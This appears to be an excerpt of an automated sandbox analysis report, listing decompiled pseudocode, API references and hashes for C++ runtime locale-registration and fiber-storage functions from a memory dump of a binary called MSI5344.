				intOrPtr _t46;
				long long _t52;
				long long _t57;
				intOrPtr _t64;
				signed long long _t65;
				long long _t66;
				void* _t67;
				void* _t68;
				signed int _t69;

				_t44 = __rax;
				_t67 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t66 =  *0xaf7530d8; // 0x0
				_a24 = _t66;
				_t64 =  *0xaf753030; // 0x0
				if (_t64 != 0) goto 0xaf6ebfb8;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t36 =  *0xaf753030 - _t64; // 0x0
				if (_t36 != 0) goto 0xaf6ebfa7;
				_t21 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t21 + 1;
				 *0xaf753030 = _t44;
				_t24 = E00007FF77FF7AF6E8BDC(_t44,  &_a8);
				_t65 =  *0xaf753030; // 0x0
				_t57 = _a8;
				_t69 = _t65 * 8;
				if (_t65 -  *((intOrPtr*)(_t57 + 0x18)) >= 0) goto 0xaf6ebfd9;
				_t45 =  *((intOrPtr*)(_t57 + 0x10));
				if ( *((intOrPtr*)(_t69 + _t45)) != 0) goto 0xaf6ec03f;
				goto 0xaf6ebfdb;
				if ( *((char*)(_t57 + 0x24)) == 0) goto 0xaf6ebff4;
				E00007FF77FF7AF6E8848(_t24);
				if (_t65 -  *((intOrPtr*)(_t45 + 0x18)) >= 0) goto 0xaf6ebff9;
				_t46 =  *((intOrPtr*)(_t45 + 0x10));
				if ( *((intOrPtr*)(_t69 + _t46)) != 0) goto 0xaf6ec03f;
				if (_t66 == 0) goto 0xaf6ec003;
				goto 0xaf6ec03f;
				_t26 = E00007FF77FF7AF6EDD88(0, 0, _t34, _t66,  &_a24, _t67, _t68);
				if (_t46 == 0xffffffff) goto 0xaf6ec057;
				_t52 = _a24;
				_a8 = _t52;
				E00007FF77FF7AF6E8810(_t26, _t46, _t52);
				_t28 =  *0xaf7354d0();
				 *0xaf7530d8 = _t52;
				return E00007FF77FF7AF6E8BDC(_t28,  &_a16);
			}

0x7ff7af6ebf48
0x7ff7af6ebf53
0x7ff7af6ebf5d
0x7ff7af6ebf63
0x7ff7af6ebf6a
0x7ff7af6ebf6f
0x7ff7af6ebf79
0x7ff7af6ebf82
0x7ff7af6ebf87
0x7ff7af6ebf8e
0x7ff7af6ebf90
0x7ff7af6ebf98
0x7ff7af6ebfa0
0x7ff7af6ebfac
0x7ff7af6ebfb1
0x7ff7af6ebfb8
0x7ff7af6ebfbc
0x7ff7af6ebfc8
0x7ff7af6ebfca
0x7ff7af6ebfd5
0x7ff7af6ebfd7
0x7ff7af6ebfdf
0x7ff7af6ebfe1
0x7ff7af6ebfea
0x7ff7af6ebfec
0x7ff7af6ebff7
0x7ff7af6ebffc
0x7ff7af6ec001
0x7ff7af6ec00b
0x7ff7af6ec014
0x7ff7af6ec016
0x7ff7af6ec01b
0x7ff7af6ec023
0x7ff7af6ec032
0x7ff7af6ec038
0x7ff7af6ec056

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EBF5D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EBF82
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EBFAC
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6EC023
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EC044
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EC057

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 4f3289e94967b93948a90e21f13fc65202f5a93b781f784bd4c2147bdff2b34f
Instruction ID: 8b1b0a90897227b7d2fed52540e54bc81245917bf0aeb0a25b97d738ed5e9a0b
Opcode Fuzzy Hash: 4f3289e94967b93948a90e21f13fc65202f5a93b781f784bd4c2147bdff2b34f
Instruction Fuzzy Hash: FE318F26A0BBC6C0EA55BB15E4402F9E366EF44BA0F8A1132DA4D476B5DE3DE446C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E2670 Relevance: 9.1, APIs: 6, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF7AF6E2670(intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				void* _t28;
				void* _t33;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				long long _t51;
				long long _t56;
				intOrPtr _t63;
				signed long long _t64;
				long long _t65;
				void* _t66;
				void* _t67;
				signed int _t68;

				_t43 = __rax;
				_t66 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t65 =  *0xaf752d98; // 0x0
				_a24 = _t65;
				_t63 =  *0xaf752d78; // 0x0
				if (_t63 != 0) goto 0xaf6e26e0;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf752d78 - _t63; // 0x0
				if (_t35 != 0) goto 0xaf6e26cf;
				_t21 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t21 + 1;
				 *0xaf752d78 = _t43;
				_t24 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t64 =  *0xaf752d78; // 0x0
				_t56 = _a8;
				_t68 = _t64 * 8;
				if (_t64 -  *((intOrPtr*)(_t56 + 0x18)) >= 0) goto 0xaf6e2701;
				_t44 =  *((intOrPtr*)(_t56 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t44)) != 0) goto 0xaf6e2767;
				goto 0xaf6e2703;
				if ( *((char*)(_t56 + 0x24)) == 0) goto 0xaf6e271c;
				E00007FF77FF7AF6E8848(_t24);
				if (_t64 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6e2721;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t45)) != 0) goto 0xaf6e2767;
				if (_t65 == 0) goto 0xaf6e272b;
				goto 0xaf6e2767;
				_t26 = E00007FF77FF7AF6E30F0(0, _t33, _t45, _t65,  &_a24, _t66, _t65, _t66, _t67);
				if (_t45 == 0xffffffff) goto 0xaf6e277f;
				_t51 = _a24;
				_a8 = _t51;
				E00007FF77FF7AF6E8810(_t26, _t45, _t51);
				_t28 =  *0xaf7354d0();
				 *0xaf752d98 = _t51;
				return E00007FF77FF7AF6E8BDC(_t28,  &_a16);
			}

0x7ff7af6e2670
0x7ff7af6e267b
0x7ff7af6e2685
0x7ff7af6e268b
0x7ff7af6e2692
0x7ff7af6e2697
0x7ff7af6e26a1
0x7ff7af6e26aa
0x7ff7af6e26af
0x7ff7af6e26b6
0x7ff7af6e26b8
0x7ff7af6e26c0
0x7ff7af6e26c8
0x7ff7af6e26d4
0x7ff7af6e26d9
0x7ff7af6e26e0
0x7ff7af6e26e4
0x7ff7af6e26f0
0x7ff7af6e26f2
0x7ff7af6e26fd
0x7ff7af6e26ff
0x7ff7af6e2707
0x7ff7af6e2709
0x7ff7af6e2712
0x7ff7af6e2714
0x7ff7af6e271f
0x7ff7af6e2724
0x7ff7af6e2729
0x7ff7af6e2733
0x7ff7af6e273c
0x7ff7af6e273e
0x7ff7af6e2743
0x7ff7af6e274b
0x7ff7af6e275a
0x7ff7af6e2760
0x7ff7af6e277e

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E2685
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E26AA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E26D4
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6E274B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E276C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6E277F

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: e6b9c90500dd890c99fd37fa89b5e1b9174d8ebae66a4017e3a2c831002feffd
Instruction ID: 79f3a4c371f8e066ed1916e8131d57a028fdb40900c696e2003ab42a183020ba
Opcode Fuzzy Hash: e6b9c90500dd890c99fd37fa89b5e1b9174d8ebae66a4017e3a2c831002feffd
Instruction Fuzzy Hash: 11317627A0AB82C1EE05BB25D8402F9E356EF85B90F9A1131DE0D476B5DE3DE851C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E2558 Relevance: 9.1, APIs: 6, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF7AF6E2558(intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				void* _t28;
				void* _t33;
				void* _t35;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				long long _t51;
				long long _t56;
				intOrPtr _t63;
				signed long long _t64;
				long long _t65;
				void* _t66;
				void* _t67;
				signed int _t68;

				_t43 = __rax;
				_t66 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t65 =  *0xaf752db0; // 0x0
				_a24 = _t65;
				_t63 =  *0xaf752d90; // 0x0
				if (_t63 != 0) goto 0xaf6e25c8;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t35 =  *0xaf752d90 - _t63; // 0x0
				if (_t35 != 0) goto 0xaf6e25b7;
				_t21 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t21 + 1;
				 *0xaf752d90 = _t43;
				_t24 = E00007FF77FF7AF6E8BDC(_t43,  &_a8);
				_t64 =  *0xaf752d90; // 0x0
				_t56 = _a8;
				_t68 = _t64 * 8;
				if (_t64 -  *((intOrPtr*)(_t56 + 0x18)) >= 0) goto 0xaf6e25e9;
				_t44 =  *((intOrPtr*)(_t56 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t44)) != 0) goto 0xaf6e264f;
				goto 0xaf6e25eb;
				if ( *((char*)(_t56 + 0x24)) == 0) goto 0xaf6e2604;
				E00007FF77FF7AF6E8848(_t24);
				if (_t64 -  *((intOrPtr*)(_t44 + 0x18)) >= 0) goto 0xaf6e2609;
				_t45 =  *((intOrPtr*)(_t44 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t45)) != 0) goto 0xaf6e264f;
				if (_t65 == 0) goto 0xaf6e2613;
				goto 0xaf6e264f;
				_t26 = E00007FF77FF7AF6E3034(0, _t33, _t45, _t65,  &_a24, _t66, _t65, _t66, _t67);
				if (_t45 == 0xffffffff) goto 0xaf6e2667;
				_t51 = _a24;
				_a8 = _t51;
				E00007FF77FF7AF6E8810(_t26, _t45, _t51);
				_t28 =  *0xaf7354d0();
				 *0xaf752db0 = _t51;
				return E00007FF77FF7AF6E8BDC(_t28,  &_a16);
			}

0x7ff7af6e2558
0x7ff7af6e2563
0x7ff7af6e256d
0x7ff7af6e2573
0x7ff7af6e257a
0x7ff7af6e257f
0x7ff7af6e2589
0x7ff7af6e2592
0x7ff7af6e2597
0x7ff7af6e259e
0x7ff7af6e25a0
0x7ff7af6e25a8
0x7ff7af6e25b0
0x7ff7af6e25bc
0x7ff7af6e25c1
0x7ff7af6e25c8
0x7ff7af6e25cc
0x7ff7af6e25d8
0x7ff7af6e25da
0x7ff7af6e25e5
0x7ff7af6e25e7
0x7ff7af6e25ef
0x7ff7af6e25f1
0x7ff7af6e25fa
0x7ff7af6e25fc
0x7ff7af6e2607
0x7ff7af6e260c
0x7ff7af6e2611
0x7ff7af6e261b
0x7ff7af6e2624
0x7ff7af6e2626
0x7ff7af6e262b
0x7ff7af6e2633
0x7ff7af6e2642
0x7ff7af6e2648
0x7ff7af6e2666

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E256D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E2592
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E25BC
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6E2633
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E2654
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6E2667

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 9821a3edc25e2c1cd3eb933cfe668dd009b2b093dc269c93f3792c3e91ef6e07
Instruction ID: d4138dba7a68dbb49b143d6d872b467a95195deb8e4b6e63c0819296f8f5d168
Opcode Fuzzy Hash: 9821a3edc25e2c1cd3eb933cfe668dd009b2b093dc269c93f3792c3e91ef6e07
Instruction Fuzzy Hash: ED317426A0ABC2D1EA15BB15E8502F9E356FB44B90F9A1231DA4D476B5DE3DE842C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6EAB98 Relevance: 9.1, APIs: 6, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00007FF77FF7AF6EAB98(void* __ecx, intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				void* _t28;
				void* _t34;
				void* _t36;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				long long _t52;
				long long _t57;
				intOrPtr _t64;
				signed long long _t65;
				long long _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t70;

				_t44 = __rax;
				_t67 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t66 =  *0xaf753120; // 0x0
				_a24 = _t66;
				_t64 =  *0xaf752dd8; // 0x0
				if (_t64 != 0) goto 0xaf6eac08;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t36 =  *0xaf752dd8 - _t64; // 0x0
				if (_t36 != 0) goto 0xaf6eabf7;
				_t21 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t21 + 1;
				 *0xaf752dd8 = _t44;
				_t24 = E00007FF77FF7AF6E8BDC(_t44,  &_a8);
				_t65 =  *0xaf752dd8; // 0x0
				_t57 = _a8;
				_t70 = _t65 * 8;
				if (_t65 -  *((intOrPtr*)(_t57 + 0x18)) >= 0) goto 0xaf6eac29;
				_t45 =  *((intOrPtr*)(_t57 + 0x10));
				if ( *((intOrPtr*)(_t70 + _t45)) != 0) goto 0xaf6eac8f;
				goto 0xaf6eac2b;
				if ( *((char*)(_t57 + 0x24)) == 0) goto 0xaf6eac44;
				E00007FF77FF7AF6E8848(_t24);
				if (_t65 -  *((intOrPtr*)(_t45 + 0x18)) >= 0) goto 0xaf6eac49;
				_t46 =  *((intOrPtr*)(_t45 + 0x10));
				if ( *((intOrPtr*)(_t70 + _t46)) != 0) goto 0xaf6eac8f;
				if (_t66 == 0) goto 0xaf6eac53;
				goto 0xaf6eac8f;
				_t26 = E00007FF77FF7AF6ECE3C(0, _t34, _t46, _t66,  &_a24, _t67, _t66, _t67, _t68, _t69);
				if (_t46 == 0xffffffff) goto 0xaf6eaca7;
				_t52 = _a24;
				_a8 = _t52;
				E00007FF77FF7AF6E8810(_t26, _t46, _t52);
				_t28 =  *0xaf7354d0();
				 *0xaf753120 = _t52;
				return E00007FF77FF7AF6E8BDC(_t28,  &_a16);
			}

0x7ff7af6eab98
0x7ff7af6eaba3
0x7ff7af6eabad
0x7ff7af6eabb3
0x7ff7af6eabba
0x7ff7af6eabbf
0x7ff7af6eabc9
0x7ff7af6eabd2
0x7ff7af6eabd7
0x7ff7af6eabde
0x7ff7af6eabe0
0x7ff7af6eabe8
0x7ff7af6eabf0
0x7ff7af6eabfc
0x7ff7af6eac01
0x7ff7af6eac08
0x7ff7af6eac0c
0x7ff7af6eac18
0x7ff7af6eac1a
0x7ff7af6eac25
0x7ff7af6eac27
0x7ff7af6eac2f
0x7ff7af6eac31
0x7ff7af6eac3a
0x7ff7af6eac3c
0x7ff7af6eac47
0x7ff7af6eac4c
0x7ff7af6eac51
0x7ff7af6eac5b
0x7ff7af6eac64
0x7ff7af6eac66
0x7ff7af6eac6b
0x7ff7af6eac73
0x7ff7af6eac82
0x7ff7af6eac88
0x7ff7af6eaca6

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EABAD
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EABD2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EABFC
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6EAC73
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EAC94
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EACA7

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: d41def29b2d45f4419be65cf04283818d9c77a0798de003b5f541f805e26a3a1
Instruction ID: a7c14b84df9c1ffb646c310a14010a14fbe37ddcc8619057354818217d468779
Opcode Fuzzy Hash: d41def29b2d45f4419be65cf04283818d9c77a0798de003b5f541f805e26a3a1
Instruction Fuzzy Hash: BF318826A4AAC2C1EA45BB25E4402F5E366EF84B90F9A1131DA4D477B5DE3DE442C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6EC178 Relevance: 9.1, APIs: 6, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF7AF6EC178(void* __ecx, intOrPtr __rax, void* __rcx, long long _a8, char _a16, void* _a24) {
				void* __rbx;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				void* _t28;
				void* _t34;
				void* _t36;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				long long _t52;
				long long _t57;
				intOrPtr _t64;
				signed long long _t65;
				long long _t66;
				void* _t67;
				signed int _t68;

				_t44 = __rax;
				_t67 = __rcx;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t66 =  *0xaf7530b0; // 0x0
				_a24 = _t66;
				_t64 =  *0xaf753018; // 0x0
				if (_t64 != 0) goto 0xaf6ec1e8;
				E00007FF77FF7AF6E8B64(0,  &_a8);
				_t36 =  *0xaf753018 - _t64; // 0x0
				if (_t36 != 0) goto 0xaf6ec1d7;
				_t21 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t21 + 1;
				 *0xaf753018 = _t44;
				_t24 = E00007FF77FF7AF6E8BDC(_t44,  &_a8);
				_t65 =  *0xaf753018; // 0x0
				_t57 = _a8;
				_t68 = _t65 * 8;
				if (_t65 -  *((intOrPtr*)(_t57 + 0x18)) >= 0) goto 0xaf6ec209;
				_t45 =  *((intOrPtr*)(_t57 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t45)) != 0) goto 0xaf6ec26f;
				goto 0xaf6ec20b;
				if ( *((char*)(_t57 + 0x24)) == 0) goto 0xaf6ec224;
				E00007FF77FF7AF6E8848(_t24);
				if (_t65 -  *((intOrPtr*)(_t45 + 0x18)) >= 0) goto 0xaf6ec229;
				_t46 =  *((intOrPtr*)(_t45 + 0x10));
				if ( *((intOrPtr*)(_t68 + _t46)) != 0) goto 0xaf6ec26f;
				if (_t66 == 0) goto 0xaf6ec233;
				goto 0xaf6ec26f;
				_t26 = E00007FF77FF7AF6EDF38(0, _t34, _t66,  &_a24, _t67);
				if (_t46 == 0xffffffff) goto 0xaf6ec287;
				_t52 = _a24;
				_a8 = _t52;
				E00007FF77FF7AF6E8810(_t26, _t46, _t52);
				_t28 =  *0xaf7354d0();
				 *0xaf7530b0 = _t52;
				return E00007FF77FF7AF6E8BDC(_t28,  &_a16);
			}

0x7ff7af6ec178
0x7ff7af6ec183
0x7ff7af6ec18d
0x7ff7af6ec193
0x7ff7af6ec19a
0x7ff7af6ec19f
0x7ff7af6ec1a9
0x7ff7af6ec1b2
0x7ff7af6ec1b7
0x7ff7af6ec1be
0x7ff7af6ec1c0
0x7ff7af6ec1c8
0x7ff7af6ec1d0
0x7ff7af6ec1dc
0x7ff7af6ec1e1
0x7ff7af6ec1e8
0x7ff7af6ec1ec
0x7ff7af6ec1f8
0x7ff7af6ec1fa
0x7ff7af6ec205
0x7ff7af6ec207
0x7ff7af6ec20f
0x7ff7af6ec211
0x7ff7af6ec21a
0x7ff7af6ec21c
0x7ff7af6ec227
0x7ff7af6ec22c
0x7ff7af6ec231
0x7ff7af6ec23b
0x7ff7af6ec244
0x7ff7af6ec246
0x7ff7af6ec24b
0x7ff7af6ec253
0x7ff7af6ec262
0x7ff7af6ec268
0x7ff7af6ec286

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EC18D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6EC1B2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EC1DC
std::_Facet_Register.LIBCPMT ref: 00007FF7AF6EC253
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6EC274
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6EC287

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 2df8d294af01c03df15c0eae0644b03b6d41cab06b687aad9cb5d150e6e42fd6
Instruction ID: 8429c698a1087ab0ee5708b02c8bf1f7e2835058195f648410dd30fc76ce713d
Opcode Fuzzy Hash: 2df8d294af01c03df15c0eae0644b03b6d41cab06b687aad9cb5d150e6e42fd6
Instruction Fuzzy Hash: 8E31D426A0ABC2C4EA15BF55E9502F9E317EB44B90F8A1131DA4C477B5DE3DE446C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF7226F4 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7AF70F839,?,?,?,?,00007FF7AF722144), ref: 00007FF7AF722703
FlsSetValue.KERNEL32(?,?,?,00007FF7AF70F839,?,?,?,?,00007FF7AF722144), ref: 00007FF7AF722739
FlsSetValue.KERNEL32(?,?,?,00007FF7AF70F839,?,?,?,?,00007FF7AF722144), ref: 00007FF7AF722766
FlsSetValue.KERNEL32(?,?,?,00007FF7AF70F839,?,?,?,?,00007FF7AF722144), ref: 00007FF7AF722777
FlsSetValue.KERNEL32(?,?,?,00007FF7AF70F839,?,?,?,?,00007FF7AF722144), ref: 00007FF7AF722788
SetLastError.KERNEL32(?,?,?,00007FF7AF70F839,?,?,?,?,00007FF7AF722144), ref: 00007FF7AF7227A3

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 226f52379430055875f0111ed93c9adb50d9b88cd35e640040f833652d12ccd7
Instruction ID: 7e1cc1b6f982f72878eed040a106e9b30485e49b15ed7647a7b9ec36b378ebd1
Opcode Fuzzy Hash: 226f52379430055875f0111ed93c9adb50d9b88cd35e640040f833652d12ccd7
Instruction Fuzzy Hash: 8B11292CA0F2C642FA6877316D555B9A152DF4D7B0FD60734EA2E077F6DE6CE8008620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DF520 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00007FF77FF7AF6DF520(long long __rbx, signed long long __rcx, long long __rdi, long long __rsi) {
				void* _t107;
				void* _t110;
				void* _t111;
				void* _t114;
				signed long long _t117;
				signed long long _t118;
				signed long long _t121;
				signed long long _t122;
				signed long long _t123;
				intOrPtr _t131;
				signed long long _t135;
				void* _t137;
				signed long long _t138;
				signed long long _t165;
				signed long long _t168;
				signed long long _t175;
				void* _t179;
				void* _t180;
				void* _t182;
				signed long long _t183;
				void* _t194;
				void* _t196;
				void* _t198;
				signed long long _t199;
				void* _t201;
				void* _t208;
				signed long long _t209;

				_t129 = __rbx;
				 *((long long*)(_t182 + 0x10)) = __rbx;
				 *((long long*)(_t182 + 0x18)) = __rsi;
				 *((long long*)(_t182 + 0x20)) = __rdi;
				_t180 = _t182 - 0x37;
				_t183 = _t182 - 0xc0;
				_t117 =  *0xaf751030; // 0xa13e9e6732fb
				_t118 = _t117 ^ _t183;
				 *(_t180 + 0x2f) = _t118;
				r12d = r8b & 0xffffffff;
				_t209 = __rcx;
				E00007FF77FF7AF71B640(_t118);
				_t199 = _t118;
				E00007FF77FF7AF6E8FC0(_t118, __rbx, _t180 - 0x31, _t194);
				asm("movups xmm0, [eax]");
				asm("movups [ebp-0x1], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebp+0xf], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [ebp+0x1f], xmm0");
				 *((intOrPtr*)(_t180 + 0x27)) =  *((intOrPtr*)(_t118 + 0x28));
				 *(_t209 + 0x10) = _t118;
				 *(_t209 + 0x20) = _t118;
				 *(_t209 + 0x28) = _t118;
				 *(_t180 - 0x39) = _t209;
				E00007FF77FF7AF6E8FC0(_t118, _t129, _t180 - 0x31, _t194);
				if (r12b != 0) goto 0xaf6df5b4;
				_t131 =  *((intOrPtr*)(_t199 + 0x10));
				if ( *((char*)(_t131 + 0xffffffff)) != 0) goto 0xaf6df5c0;
				0xaf71b674(_t208, _t201, _t198, _t196, _t179);
				if (0xffffffff == 0) goto 0xaf6df826;
				if (0 == 0) goto 0xaf6df5fa;
				E00007FF77FF7AF70AFB0();
				 *(_t209 + 0x10) = 0xffffffff;
				 *(_t180 - 0x41) = 0xffffffff;
				asm("o16 nop [eax+eax]");
				_t121 = _t180 - 1;
				 *(_t183 + 0x20) = _t121;
				_t107 = E00007FF77FF7AF6E90D4(_t131, _t180 - 0x51, "false", "false", 0);
